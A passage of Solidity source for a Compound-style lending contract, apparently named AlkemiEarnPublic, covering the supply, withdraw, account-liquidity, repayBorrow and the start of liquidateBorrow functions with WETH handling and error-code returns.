WETHContract.deposit.value(etherAmount)();
return uint256(Error.NO_ERROR);
} else {
return uint256(Error.WETH_ADDRESS_NOT_SET_ERROR);
}
}
/**
* @dev Revert Ether paid by user back to user's account in case transaction fails due to some other reason
* @param etherAmount Amount of ether to be sent back to user
* @param user User account address
*/
function revertEtherToUser(address user, uint256 etherAmount) internal {
if (etherAmount > 0) {
user.transfer(etherAmount);
}
}
/**
* @notice supply `amount` of `asset` (which must be supported) to `msg.sender` in the protocol
* @dev add amount of supported asset to msg.sender's account
* @param asset The market asset to supply
* @param amount The amount to supply
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function supply(address asset, uint256 amount)
public
payable
nonReentrant
returns (uint256)
{
if (paused) {
revertEtherToUser(msg.sender, msg.value);
return
fail(Error.CONTRACT_PAUSED, FailureInfo.SUPPLY_CONTRACT_PAUSED);
}
refreshAlkSupplyIndex(asset, msg.sender, false);
Market storage market = markets[asset];
Balance storage balance = supplyBalances[msg.sender][asset];
SupplyLocalVars memory localResults; // Holds all our uint calculation results
Error err; // Re-used for every function call that includes an Error in its return value(s).
uint256 rateCalculationResultCode; // Used for 2 interest rate calculation calls
// Fail if market not supported
if (!market.isSupported) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
Error.MARKET_NOT_SUPPORTED,
FailureInfo.SUPPLY_MARKET_NOT_SUPPORTED
);
}
if (asset != wethAddress) {
// WETH is supplied to AlkemiEarnPublic contract in case of ETH automatically
// Fail gracefully if asset is not approved or has insufficient balance
revertEtherToUser(msg.sender, msg.value);
err = checkTransferIn(asset, msg.sender, amount);
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.SUPPLY_TRANSFER_IN_NOT_POSSIBLE);
}
}
// We calculate the newSupplyIndex, user's supplyCurrent and supplyUpdated for the asset
(err, localResults.newSupplyIndex) = calculateInterestIndex(
market.supplyIndex,
market.supplyRateMantissa,
market.blockNumber,
block.number
);
if (err != Error.NO_ERROR) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
err,
FailureInfo.SUPPLY_NEW_SUPPLY_INDEX_CALCULATION_FAILED
);
}
(err, localResults.userSupplyCurrent) = calculateBalance(
balance.principal,
balance.interestIndex,
localResults.newSupplyIndex
);
if (err != Error.NO_ERROR) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
err,
FailureInfo.SUPPLY_ACCUMULATED_BALANCE_CALCULATION_FAILED
);
}
(err, localResults.userSupplyUpdated) = add(
localResults.userSupplyCurrent,
amount
);
if (err != Error.NO_ERROR) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
err,
FailureInfo.SUPPLY_NEW_TOTAL_BALANCE_CALCULATION_FAILED
);
}
// We calculate the protocol's totalSupply by subtracting the user's prior checkpointed balance, adding user's updated supply
(err, localResults.newTotalSupply) = addThenSub(
market.totalSupply,
localResults.userSupplyUpdated,
balance.principal
);
if (err != Error.NO_ERROR) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
err,
FailureInfo.SUPPLY_NEW_TOTAL_SUPPLY_CALCULATION_FAILED
);
}
// We need to calculate what the updated cash will be after we transfer in from user
localResults.currentCash = getCash(asset);
(err, localResults.updatedCash) = add(localResults.currentCash, amount);
if (err != Error.NO_ERROR) {
revertEtherToUser(msg.sender, msg.value);
return
fail(err, FailureInfo.SUPPLY_NEW_TOTAL_CASH_CALCULATION_FAILED);
}
// The utilization rate has changed! We calculate a new supply index and borrow index for the asset, and save it.
(rateCalculationResultCode, localResults.newSupplyRateMantissa) = market
.interestRateModel
.getSupplyRate(asset, localResults.updatedCash, market.totalBorrows);
if (rateCalculationResultCode != 0) {
revertEtherToUser(msg.sender, msg.value);
return
failOpaque(
FailureInfo.SUPPLY_NEW_SUPPLY_RATE_CALCULATION_FAILED,
rateCalculationResultCode
);
}
// We calculate the newBorrowIndex (we already had newSupplyIndex)
(err, localResults.newBorrowIndex) = calculateInterestIndex(
market.borrowIndex,
market.borrowRateMantissa,
market.blockNumber,
block.number
);
if (err != Error.NO_ERROR) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
err,
FailureInfo.SUPPLY_NEW_BORROW_INDEX_CALCULATION_FAILED
);
}
(rateCalculationResultCode, localResults.newBorrowRateMantissa) = market
.interestRateModel
.getBorrowRate(asset, localResults.updatedCash, market.totalBorrows);
if (rateCalculationResultCode != 0) {
revertEtherToUser(msg.sender, msg.value);
return
failOpaque(
FailureInfo.SUPPLY_NEW_BORROW_RATE_CALCULATION_FAILED,
rateCalculationResultCode
);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
// Save market updates
market.blockNumber = block.number;
market.totalSupply = localResults.newTotalSupply;
market.supplyRateMantissa = localResults.newSupplyRateMantissa;
market.supplyIndex = localResults.newSupplyIndex;
market.borrowRateMantissa = localResults.newBorrowRateMantissa;
market.borrowIndex = localResults.newBorrowIndex;
// Save user updates
localResults.startingBalance = balance.principal; // save for use in `SupplyReceived` event
balance.principal = localResults.userSupplyUpdated;
balance.interestIndex = localResults.newSupplyIndex;
if (asset != wethAddress) {
// WETH is supplied to AlkemiEarnPublic contract in case of ETH automatically
// We ERC-20 transfer the asset into the protocol (note: pre-conditions already checked above)
revertEtherToUser(msg.sender, msg.value);
err = doTransferIn(asset, msg.sender, amount);
if (err != Error.NO_ERROR) {
// This is safe since it's our first interaction and it didn't do anything if it failed
return fail(err, FailureInfo.SUPPLY_TRANSFER_IN_FAILED);
}
} else {
if (msg.value == amount) {
uint256 supplyError = supplyEther(msg.sender, msg.value);
if (supplyError != 0) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
Error.WETH_ADDRESS_NOT_SET_ERROR,
FailureInfo.WETH_ADDRESS_NOT_SET_ERROR
);
}
} else {
revertEtherToUser(msg.sender, msg.value);
return
fail(
Error.ETHER_AMOUNT_MISMATCH_ERROR,
FailureInfo.ETHER_AMOUNT_MISMATCH_ERROR
);
}
}
emit SupplyReceived(
msg.sender,
asset,
amount,
localResults.startingBalance,
balance.principal
);
return uint256(Error.NO_ERROR); // success
}
/**
* @notice withdraw `amount` of `ether` from sender's account to sender's address
* @dev withdraw `amount` of `ether` from msg.sender's account to msg.sender
* @param etherAmount Amount of ether to be converted to WETH
* @param user User account address
*/
function withdrawEther(address user, uint256 etherAmount)
internal
returns (uint256)
{
WETHContract.withdraw(user, etherAmount);
return uint256(Error.NO_ERROR);
}
/**
* @notice withdraw `amount` of `asset` from sender's account to sender's address
* @dev withdraw `amount` of `asset` from msg.sender's account to msg.sender
* @param asset The market asset to withdraw
* @param requestedAmount The amount to withdraw (or -1 for max)
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function withdraw(address asset, uint256 requestedAmount)
public
nonReentrant
returns (uint256)
{
if (paused) {
return
fail(
Error.CONTRACT_PAUSED,
FailureInfo.WITHDRAW_CONTRACT_PAUSED
);
}
refreshAlkSupplyIndex(asset, msg.sender, false);
Market storage market = markets[asset];
Balance storage supplyBalance = supplyBalances[msg.sender][asset];
WithdrawLocalVars memory localResults; // Holds all our calculation results
Error err; // Re-used for every function call that includes an Error in its return value(s).
uint256 rateCalculationResultCode; // Used for 2 interest rate calculation calls
// We calculate the user's accountLiquidity and accountShortfall.
(
err,
localResults.accountLiquidity,
localResults.accountShortfall
) = calculateAccountLiquidity(msg.sender);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo.WITHDRAW_ACCOUNT_LIQUIDITY_CALCULATION_FAILED
);
}
// We calculate the newSupplyIndex, user's supplyCurrent and supplyUpdated for the asset
(err, localResults.newSupplyIndex) = calculateInterestIndex(
market.supplyIndex,
market.supplyRateMantissa,
market.blockNumber,
block.number
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo.WITHDRAW_NEW_SUPPLY_INDEX_CALCULATION_FAILED
);
}
(err, localResults.userSupplyCurrent) = calculateBalance(
supplyBalance.principal,
supplyBalance.interestIndex,
localResults.newSupplyIndex
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo.WITHDRAW_ACCUMULATED_BALANCE_CALCULATION_FAILED
);
}
// If the user specifies -1 amount to withdraw ("max"), withdrawAmount => the lesser of withdrawCapacity and supplyCurrent
if (requestedAmount == uint256(-1)) {
(err, localResults.withdrawCapacity) = getAssetAmountForValue(
asset,
localResults.accountLiquidity
);
if (err != Error.NO_ERROR) {
return
fail(err, FailureInfo.WITHDRAW_CAPACITY_CALCULATION_FAILED);
}
localResults.withdrawAmount = min(
localResults.withdrawCapacity,
localResults.userSupplyCurrent
);
} else {
localResults.withdrawAmount = requestedAmount;
}
// From here on we should NOT use requestedAmount.
// Fail gracefully if protocol has insufficient cash
// If protocol has insufficient cash, the sub operation will underflow.
localResults.currentCash = getCash(asset);
(err, localResults.updatedCash) = sub(
localResults.currentCash,
localResults.withdrawAmount
);
if (err != Error.NO_ERROR) {
return
fail(
Error.TOKEN_INSUFFICIENT_CASH,
FailureInfo.WITHDRAW_TRANSFER_OUT_NOT_POSSIBLE
);
}
// We check that the amount is less than or equal to supplyCurrent
// If amount is greater than supplyCurrent, this will fail with Error.INTEGER_UNDERFLOW
(err, localResults.userSupplyUpdated) = sub(
localResults.userSupplyCurrent,
localResults.withdrawAmount
);
if (err != Error.NO_ERROR) {
return
fail(
Error.INSUFFICIENT_BALANCE,
FailureInfo.WITHDRAW_NEW_TOTAL_BALANCE_CALCULATION_FAILED
);
}
// Fail if customer already has a shortfall
if (!isZeroExp(localResults.accountShortfall)) {
return
fail(
Error.INSUFFICIENT_LIQUIDITY,
FailureInfo.WITHDRAW_ACCOUNT_SHORTFALL_PRESENT
);
}
// We want to know the user's withdrawCapacity, denominated in the asset
// Customer's withdrawCapacity of asset is (accountLiquidity in Eth)/ (price of asset in Eth)
// Equivalently, we calculate the eth value of the withdrawal amount and compare it directly to the accountLiquidity in Eth
(err, localResults.ethValueOfWithdrawal) = getPriceForAssetAmount(
asset,
localResults.withdrawAmount
); // amount * oraclePrice = ethValueOfWithdrawal
if (err != Error.NO_ERROR) {
return
fail(err, FailureInfo.WITHDRAW_AMOUNT_VALUE_CALCULATION_FAILED);
}
// We check that the amount is less than withdrawCapacity (here), and less than or equal to supplyCurrent (below)
if (
lessThanExp(
localResults.accountLiquidity,
localResults.ethValueOfWithdrawal
)
) {
return
fail(
Error.INSUFFICIENT_LIQUIDITY,
FailureInfo.WITHDRAW_AMOUNT_LIQUIDITY_SHORTFALL
);
}
// We calculate the protocol's totalSupply by subtracting the user's prior checkpointed balance, adding user's updated supply.
// Note that, even though the customer is withdrawing, if they've accumulated a lot of interest since their last
// action, the updated balance *could* be higher than the prior checkpointed balance.
(err, localResults.newTotalSupply) = addThenSub(
market.totalSupply,
localResults.userSupplyUpdated,
supplyBalance.principal
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo.WITHDRAW_NEW_TOTAL_SUPPLY_CALCULATION_FAILED
);
}
// The utilization rate has changed! We calculate a new supply index and borrow index for the asset, and save it.
(rateCalculationResultCode, localResults.newSupplyRateMantissa) = market
.interestRateModel
.getSupplyRate(asset, localResults.updatedCash, market.totalBorrows);
if (rateCalculationResultCode != 0) {
return
failOpaque(
FailureInfo.WITHDRAW_NEW_SUPPLY_RATE_CALCULATION_FAILED,
rateCalculationResultCode
);
}
// We calculate the newBorrowIndex
(err, localResults.newBorrowIndex) = calculateInterestIndex(
market.borrowIndex,
market.borrowRateMantissa,
market.blockNumber,
block.number
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo.WITHDRAW_NEW_BORROW_INDEX_CALCULATION_FAILED
);
}
(rateCalculationResultCode, localResults.newBorrowRateMantissa) = market
.interestRateModel
.getBorrowRate(asset, localResults.updatedCash, market.totalBorrows);
if (rateCalculationResultCode != 0) {
return
failOpaque(
FailureInfo.WITHDRAW_NEW_BORROW_RATE_CALCULATION_FAILED,
rateCalculationResultCode
);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
// Save market updates
market.blockNumber = block.number;
market.totalSupply = localResults.newTotalSupply;
market.supplyRateMantissa = localResults.newSupplyRateMantissa;
market.supplyIndex = localResults.newSupplyIndex;
market.borrowRateMantissa = localResults.newBorrowRateMantissa;
market.borrowIndex = localResults.newBorrowIndex;
// Save user updates
localResults.startingBalance = supplyBalance.principal; // save for use in `SupplyWithdrawn` event
supplyBalance.principal = localResults.userSupplyUpdated;
supplyBalance.interestIndex = localResults.newSupplyIndex;
if (asset != wethAddress) {
// Withdrawal should happen as Ether directly
// We ERC-20 transfer the asset into the protocol (note: pre-conditions already checked above)
err = doTransferOut(asset, msg.sender, localResults.withdrawAmount);
if (err != Error.NO_ERROR) {
// This is safe since it's our first interaction and it didn't do anything if it failed
return fail(err, FailureInfo.WITHDRAW_TRANSFER_OUT_FAILED);
}
} else {
withdrawEther(msg.sender, localResults.withdrawAmount); // send Ether to user
}
emit SupplyWithdrawn(
msg.sender,
asset,
localResults.withdrawAmount,
localResults.startingBalance,
supplyBalance.principal
);
return uint256(Error.NO_ERROR); // success
}
/**
* @dev Gets the user's account liquidity and account shortfall balances. This includes
* any accumulated interest thus far but does NOT actually update anything in
* storage, it simply calculates the account liquidity and shortfall with liquidity being
* returned as the first Exp, ie (Error, accountLiquidity, accountShortfall).
* @return Return values are expressed in 1e18 scale
*/
function calculateAccountLiquidity(address userAddress)
internal
view
returns (
Error,
Exp memory,
Exp memory
)
{
Error err;
Exp memory sumSupplyValuesMantissa;
Exp memory sumBorrowValuesMantissa;
(
err,
sumSupplyValuesMantissa,
sumBorrowValuesMantissa
) = calculateAccountValuesInternal(userAddress);
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}), Exp({mantissa: 0}));
}
Exp memory result;
Exp memory sumSupplyValuesFinal = Exp({
mantissa: sumSupplyValuesMantissa.mantissa
});
Exp memory sumBorrowValuesFinal; // need to apply collateral ratio
(err, sumBorrowValuesFinal) = mulExp(
collateralRatio,
Exp({mantissa: sumBorrowValuesMantissa.mantissa})
);
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}), Exp({mantissa: 0}));
}
// if sumSupplies < sumBorrows, then the user is under collateralized and has account shortfall.
// else the user meets the collateral ratio and has account liquidity.
if (lessThanExp(sumSupplyValuesFinal, sumBorrowValuesFinal)) {
// accountShortfall = borrows - supplies
(err, result) = subExp(sumBorrowValuesFinal, sumSupplyValuesFinal);
assert(err == Error.NO_ERROR); // Note: we have checked that sumBorrows is greater than sumSupplies directly above, therefore `subExp` cannot fail.
return (Error.NO_ERROR, Exp({mantissa: 0}), result);
} else {
// accountLiquidity = supplies - borrows
(err, result) = subExp(sumSupplyValuesFinal, sumBorrowValuesFinal);
assert(err == Error.NO_ERROR); // Note: we have checked that sumSupplies is greater than sumBorrows directly above, therefore `subExp` cannot fail.
return (Error.NO_ERROR, result, Exp({mantissa: 0}));
}
}
/**
* @notice Gets the ETH values of the user's accumulated supply and borrow balances, scaled by 10e18.
* This includes any accumulated interest thus far but does NOT actually update anything in
* storage
* @dev Gets ETH values of accumulated supply and borrow balances
* @param userAddress account for which to sum values
* @return (error code, sum ETH value of supplies scaled by 10e18, sum ETH value of borrows scaled by 10e18)
*/
function calculateAccountValuesInternal(address userAddress)
internal
view
returns (
Error,
Exp memory,
Exp memory
)
{
/** By definition, all collateralMarkets are those that contribute to the user's
* liquidity and shortfall so we need only loop through those markets.
* To handle avoiding intermediate negative results, we will sum all the user's
* supply balances and borrow balances (with collateral ratio) separately and then
* subtract the sums at the end.
*/
AccountValueLocalVars memory localResults; // Re-used for all intermediate results
localResults.sumSupplies = Exp({mantissa: 0});
localResults.sumBorrows = Exp({mantissa: 0});
Error err; // Re-used for all intermediate errors
localResults.collateralMarketsLength = collateralMarkets.length;
for (uint256 i = 0; i < localResults.collateralMarketsLength; i++) {
localResults.assetAddress = collateralMarkets[i];
Market storage currentMarket = markets[localResults.assetAddress];
Balance storage supplyBalance = supplyBalances[userAddress][
localResults.assetAddress
];
Balance storage borrowBalance = borrowBalances[userAddress][
localResults.assetAddress
];
if (supplyBalance.principal > 0) {
// We calculate the newSupplyIndex and user’s supplyCurrent (includes interest)
(err, localResults.newSupplyIndex) = calculateInterestIndex(
currentMarket.supplyIndex,
currentMarket.supplyRateMantissa,
currentMarket.blockNumber,
block.number
);
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}), Exp({mantissa: 0}));
}
(err, localResults.userSupplyCurrent) = calculateBalance(
supplyBalance.principal,
supplyBalance.interestIndex,
localResults.newSupplyIndex
);
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}), Exp({mantissa: 0}));
}
// We have the user's supply balance with interest so let's multiply by the asset price to get the total value
(err, localResults.supplyTotalValue) = getPriceForAssetAmount(
localResults.assetAddress,
localResults.userSupplyCurrent
); // supplyCurrent * oraclePrice = supplyValueInEth
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}), Exp({mantissa: 0}));
}
// Add this to our running sum of supplies
(err, localResults.sumSupplies) = addExp(
localResults.supplyTotalValue,
localResults.sumSupplies
);
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}), Exp({mantissa: 0}));
}
}
if (borrowBalance.principal > 0) {
// We perform a similar actions to get the user's borrow balance
(err, localResults.newBorrowIndex) = calculateInterestIndex(
currentMarket.borrowIndex,
currentMarket.borrowRateMantissa,
currentMarket.blockNumber,
block.number
);
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}), Exp({mantissa: 0}));
}
(err, localResults.userBorrowCurrent) = calculateBalance(
borrowBalance.principal,
borrowBalance.interestIndex,
localResults.newBorrowIndex
);
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}), Exp({mantissa: 0}));
}
// We have the user's borrow balance with interest so let's multiply by the asset price to get the total value
(err, localResults.borrowTotalValue) = getPriceForAssetAmount(
localResults.assetAddress,
localResults.userBorrowCurrent
); // borrowCurrent * oraclePrice = borrowValueInEth
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}), Exp({mantissa: 0}));
}
// Add this to our running sum of borrows
(err, localResults.sumBorrows) = addExp(
localResults.borrowTotalValue,
localResults.sumBorrows
);
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}), Exp({mantissa: 0}));
}
}
}
return (
Error.NO_ERROR,
localResults.sumSupplies,
localResults.sumBorrows
);
}
/**
* @notice Gets the ETH values of the user's accumulated supply and borrow balances, scaled by 10e18.
* This includes any accumulated interest thus far but does NOT actually update anything in
* storage
* @dev Gets ETH values of accumulated supply and borrow balances
* @param userAddress account for which to sum values
* @return (uint 0=success; otherwise a failure (see ErrorReporter.sol for details),
* sum ETH value of supplies scaled by 10e18,
* sum ETH value of borrows scaled by 10e18)
*/
function calculateAccountValues(address userAddress)
public
view
returns (
uint256,
uint256,
uint256
)
{
(
Error err,
Exp memory supplyValue,
Exp memory borrowValue
) = calculateAccountValuesInternal(userAddress);
if (err != Error.NO_ERROR) {
return (uint256(err), 0, 0);
}
return (0, supplyValue.mantissa, borrowValue.mantissa);
}
/**
* @notice Users repay borrowed assets from their own address to the protocol.
* @param asset The market asset to repay
* @param amount The amount to repay (or -1 for max)
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function repayBorrow(address asset, uint256 amount)
public
payable
nonReentrant
returns (uint256)
{
if (paused) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
Error.CONTRACT_PAUSED,
FailureInfo.REPAY_BORROW_CONTRACT_PAUSED
);
}
refreshAlkBorrowIndex(asset, msg.sender, false);
PayBorrowLocalVars memory localResults;
Market storage market = markets[asset];
Balance storage borrowBalance = borrowBalances[msg.sender][asset];
Error err;
uint256 rateCalculationResultCode;
// We calculate the newBorrowIndex, user's borrowCurrent and borrowUpdated for the asset
(err, localResults.newBorrowIndex) = calculateInterestIndex(
market.borrowIndex,
market.borrowRateMantissa,
market.blockNumber,
block.number
);
if (err != Error.NO_ERROR) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
err,
FailureInfo.REPAY_BORROW_NEW_BORROW_INDEX_CALCULATION_FAILED
);
}
(err, localResults.userBorrowCurrent) = calculateBalance(
borrowBalance.principal,
borrowBalance.interestIndex,
localResults.newBorrowIndex
);
if (err != Error.NO_ERROR) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
err,
FailureInfo
.REPAY_BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED
);
}
uint256 reimburseAmount;
// If the user specifies -1 amount to repay (“max”), repayAmount =>
// the lesser of the senders ERC-20 balance and borrowCurrent
if (asset != wethAddress) {
if (amount == uint256(-1)) {
localResults.repayAmount = min(
getBalanceOf(asset, msg.sender),
localResults.userBorrowCurrent
);
} else {
localResults.repayAmount = amount;
}
} else {
// To calculate the actual repay use has to do and reimburse the excess amount of ETH collected
if (amount > localResults.userBorrowCurrent) {
localResults.repayAmount = localResults.userBorrowCurrent;
(err, reimburseAmount) = sub(
amount,
localResults.userBorrowCurrent
); // reimbursement called at the end to make sure function does not have any other errors
if (err != Error.NO_ERROR) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
err,
FailureInfo
.REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED
);
}
} else {
localResults.repayAmount = amount;
}
}
// Subtract the `repayAmount` from the `userBorrowCurrent` to get `userBorrowUpdated`
// Note: this checks that repayAmount is less than borrowCurrent
(err, localResults.userBorrowUpdated) = sub(
localResults.userBorrowCurrent,
localResults.repayAmount
);
if (err != Error.NO_ERROR) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
err,
FailureInfo
.REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED
);
}
// Fail gracefully if asset is not approved or has insufficient balance
// Note: this checks that repayAmount is less than or equal to their ERC-20 balance
if (asset != wethAddress) {
// WETH is supplied to AlkemiEarnPublic contract in case of ETH automatically
revertEtherToUser(msg.sender, msg.value);
err = checkTransferIn(asset, msg.sender, localResults.repayAmount);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo.REPAY_BORROW_TRANSFER_IN_NOT_POSSIBLE
);
}
}
// We calculate the protocol's totalBorrow by subtracting the user's prior checkpointed balance, adding user's updated borrow
// Note that, even though the customer is paying some of their borrow, if they've accumulated a lot of interest since their last
// action, the updated balance *could* be higher than the prior checkpointed balance.
(err, localResults.newTotalBorrows) = addThenSub(
market.totalBorrows,
localResults.userBorrowUpdated,
borrowBalance.principal
);
if (err != Error.NO_ERROR) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
err,
FailureInfo.REPAY_BORROW_NEW_TOTAL_BORROW_CALCULATION_FAILED
);
}
// We need to calculate what the updated cash will be after we transfer in from user
localResults.currentCash = getCash(asset);
(err, localResults.updatedCash) = add(
localResults.currentCash,
localResults.repayAmount
);
if (err != Error.NO_ERROR) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
err,
FailureInfo.REPAY_BORROW_NEW_TOTAL_CASH_CALCULATION_FAILED
);
}
// The utilization rate has changed! We calculate a new supply index and borrow index for the asset, and save it.
// We calculate the newSupplyIndex, but we have newBorrowIndex already
(err, localResults.newSupplyIndex) = calculateInterestIndex(
market.supplyIndex,
market.supplyRateMantissa,
market.blockNumber,
block.number
);
if (err != Error.NO_ERROR) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
err,
FailureInfo.REPAY_BORROW_NEW_SUPPLY_INDEX_CALCULATION_FAILED
);
}
(rateCalculationResultCode, localResults.newSupplyRateMantissa) = market
.interestRateModel
.getSupplyRate(
asset,
localResults.updatedCash,
localResults.newTotalBorrows
);
if (rateCalculationResultCode != 0) {
revertEtherToUser(msg.sender, msg.value);
return
failOpaque(
FailureInfo.REPAY_BORROW_NEW_SUPPLY_RATE_CALCULATION_FAILED,
rateCalculationResultCode
);
}
(rateCalculationResultCode, localResults.newBorrowRateMantissa) = market
.interestRateModel
.getBorrowRate(
asset,
localResults.updatedCash,
localResults.newTotalBorrows
);
if (rateCalculationResultCode != 0) {
revertEtherToUser(msg.sender, msg.value);
return
failOpaque(
FailureInfo.REPAY_BORROW_NEW_BORROW_RATE_CALCULATION_FAILED,
rateCalculationResultCode
);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
// Save market updates
market.blockNumber = block.number;
market.totalBorrows = localResults.newTotalBorrows;
market.supplyRateMantissa = localResults.newSupplyRateMantissa;
market.supplyIndex = localResults.newSupplyIndex;
market.borrowRateMantissa = localResults.newBorrowRateMantissa;
market.borrowIndex = localResults.newBorrowIndex;
// Save user updates
localResults.startingBalance = borrowBalance.principal; // save for use in `BorrowRepaid` event
borrowBalance.principal = localResults.userBorrowUpdated;
borrowBalance.interestIndex = localResults.newBorrowIndex;
if (asset != wethAddress) {
// WETH is supplied to AlkemiEarnPublic contract in case of ETH automatically
// We ERC-20 transfer the asset into the protocol (note: pre-conditions already checked above)
revertEtherToUser(msg.sender, msg.value);
err = doTransferIn(asset, msg.sender, localResults.repayAmount);
if (err != Error.NO_ERROR) {
// This is safe since it's our first interaction and it didn't do anything if it failed
return fail(err, FailureInfo.REPAY_BORROW_TRANSFER_IN_FAILED);
}
} else {
if (msg.value == amount) {
uint256 supplyError = supplyEther(
msg.sender,
localResults.repayAmount
);
//Repay excess funds
if (reimburseAmount > 0) {
revertEtherToUser(msg.sender, reimburseAmount);
}
if (supplyError != 0) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
Error.WETH_ADDRESS_NOT_SET_ERROR,
FailureInfo.WETH_ADDRESS_NOT_SET_ERROR
);
}
} else {
revertEtherToUser(msg.sender, msg.value);
return
fail(
Error.ETHER_AMOUNT_MISMATCH_ERROR,
FailureInfo.ETHER_AMOUNT_MISMATCH_ERROR
);
}
}
supplyOriginationFeeAsAdmin(
asset,
msg.sender,
localResults.repayAmount,
market.supplyIndex
);
emit BorrowRepaid(
msg.sender,
asset,
localResults.repayAmount,
localResults.startingBalance,
borrowBalance.principal
);
return uint256(Error.NO_ERROR); // success
}
/**
* @notice users repay all or some of an underwater borrow and receive collateral
* @param targetAccount The account whose borrow should be liquidated
* @param assetBorrow The market asset to repay
* @param assetCollateral The borrower's market asset to receive in exchange
* @param requestedAmountClose The amount to repay (or -1 for max)
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function liquidateBorrow(
address targetAccount,
address assetBorrow,
address assetCollateral,
uint256 requestedAmountClose
) public payable returns (uint256) {
if (paused) {
return
fail(
Error.CONTRACT_PAUSED,
FailureInfo.LIQUIDATE_CONTRACT_PAUSED
);
}
refreshAlkSupplyIndex(assetCollateral, targetAccount, false);
refreshAlkSupplyIndex(assetCollateral, msg.sender, false);
refreshAlkBorrowIndex(assetBorrow, targetAccount, false);
LiquidateLocalVars memory localResults;
// Copy these addresses into the struct for use with `emitLiquidationEvent`
// We'll use localResults.liquidator inside this function for clarity vs using msg.sender.
localResults.targetAccount = targetAccount;
localResults.assetBorrow = assetBorrow;
localResults.liquidator = msg.sender;
localResults.assetCollateral = assetCollateral;
Market storage borrowMarket = markets[assetBorrow];
Market storage collateralMarket = markets[assetCollateral];
Balance storage borrowBalance_TargeUnderwaterAsset = borrowBalances[
targetAccount
][assetBorrow];
Balance storage supplyBalance_TargetCollateralAsset = supplyBalances[
targetAccount
][assetCollateral];
// Liquidator might already hold some of the collateral asset
Balance storage supplyBalance_LiquidatorCollateralAsset
= supplyBalances[localResults.liquidator][assetCollateral];
uint256 rateCalculationResultCode; // Used for multiple interest rate calculation calls
Error err; // re-used for all intermediate errors
(err, localResults.collateralPrice) = fetchAssetPrice(assetCollateral);
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.LIQUIDATE_FETCH_ASSET_PRICE_FAILED);
}
(err, localResults.underwaterAssetPrice) = fetchAssetPrice(assetBorrow);
// If the price oracle is not set, then we would have failed on the first call to fetchAssetPrice
assert(err == Error.NO_ERROR);
// We calculate newBorrowIndex_UnderwaterAsset and then use it to help calculate currentBorrowBalance_TargetUnderwaterAsset
(
err,
localResults.newBorrowIndex_UnderwaterAsset
) = calculateInterestIndex(
borrowMarket.borrowIndex,
borrowMarket.borrowRateMantissa,
borrowMarket.blockNumber,
block.number
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo
.LIQUIDATE_NEW_BORROW_INDEX_CALCULATION_FAILED_BORROWED_ASSET
);
}
(
err,
localResults.currentBorrowBalance_TargetUnderwaterAsset
) = calculateBalance(
borrowBalance_TargeUnderwaterAsset.principal,
borrowBalance_TargeUnderwaterAsset.interestIndex,
localResults.newBorrowIndex_UnderwaterAsset
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo
.LIQUIDATE_ACCUMULATED_BORROW_BALANCE_CALCULATION_FAILED
);
}
// We calculate newSupplyIndex_CollateralAsset and then use it to help calculate currentSupplyBalance_TargetCollateralAsset
(
err,
localResults.newSupplyIndex_CollateralAsset
) = calculateInterestIndex(
collateralMarket.supplyIndex,
collateralMarket.supplyRateMantissa,
collateralMarket.blockNumber,
block.number
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo
.LIQUIDATE_NEW_SUPPLY_INDEX_CALCULATION_FAILED_COLLATERAL_ASSET
);
}
(
err,
localResults.currentSupplyBalance_TargetCollateralAsset
) = calculateBalance(
supplyBalance_TargetCollateralAsset.principal,
supplyBalance_TargetCollateralAsset.interestIndex,
localResults.newSupplyIndex_CollateralAsset
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo
.LIQUIDATE_ACCUMULATED_SUPPLY_BALANCE_CALCULATION_FAILED_BORROWER_COLLATERAL_ASSET
);
}
// Liquidator may or may not already have some collateral asset.
// If they do, we need to accumulate interest on it before adding the seized collateral to it.
